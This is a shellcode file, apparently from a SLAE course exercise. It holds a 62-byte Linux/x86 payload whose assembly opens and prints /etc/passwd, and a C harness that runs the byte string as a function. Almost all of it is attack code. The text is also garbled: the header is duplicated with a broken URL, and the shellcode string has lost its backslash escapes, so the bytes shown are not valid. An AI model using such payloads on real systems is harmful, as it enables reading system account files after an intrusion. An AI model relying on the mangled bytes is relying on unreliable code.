/*
; Title : Linux/x86 - Read /etc/passwd Shellcode (62 bytes)
; Date : May, 2018
; Author : Nuno Freitas
; Blog Post : https://bufferoverflowed.wordpress.com/slae3 /*
; Title : Linux/x86 - Read /etc/passwd Shellcode (62 bytes)
; Date : May, 2018
; Author : Nuno Freitas
; Blog Post : https://bufferoverflowed.wordpress.com/slae32/slae-32-polymorphing-shellcodes/
; Twitter : @nunof11
; SLAE ID : SLAE-1112
; Size : 62 bytes
; Tested on : i686 GNU/Linux

section .text

global _start

_start:
xor eax, eax
jmp two

one:
pop ebx
mov al, 0x5
int 0x80
mov esi, eax
jmp read

exit:
mov al, 0x1
xor ebx, ebx
int 0x80

read:
mov ebx, esi
mov al, 0x3
mov ecx, esp
mov dl, 0x01
int 0x80

xor ebx, ebx
cmp eax, ebx
je exit

mov al, 0x4
mov bl, 0x1
int 0x80

inc esp
jmp read

two:
call one
string: db "/etc/passwd"
*/

#include <stdio.h>
#include <string.h>

unsigned char shellcode[] =
"x31xc9xf7xe1xebx28x5bxb0x05xcdx80x89xc6xebx06xb0x01x31xdbxcdx80x89xf3xb0x03x89xe1xb2x01xcdx80x31xdbx39xd8x74xeaxb0x04xb3x01xcdx80x44xebxe7xe8xd3xffxffxffx2fx65x74x63x2fx70x61x73x73x77x64";

void main()
{
printf("Shellcode Length: %d ", strlen(shellcode));

int (*ret)() = (int(*)())shellcode;
ret();
}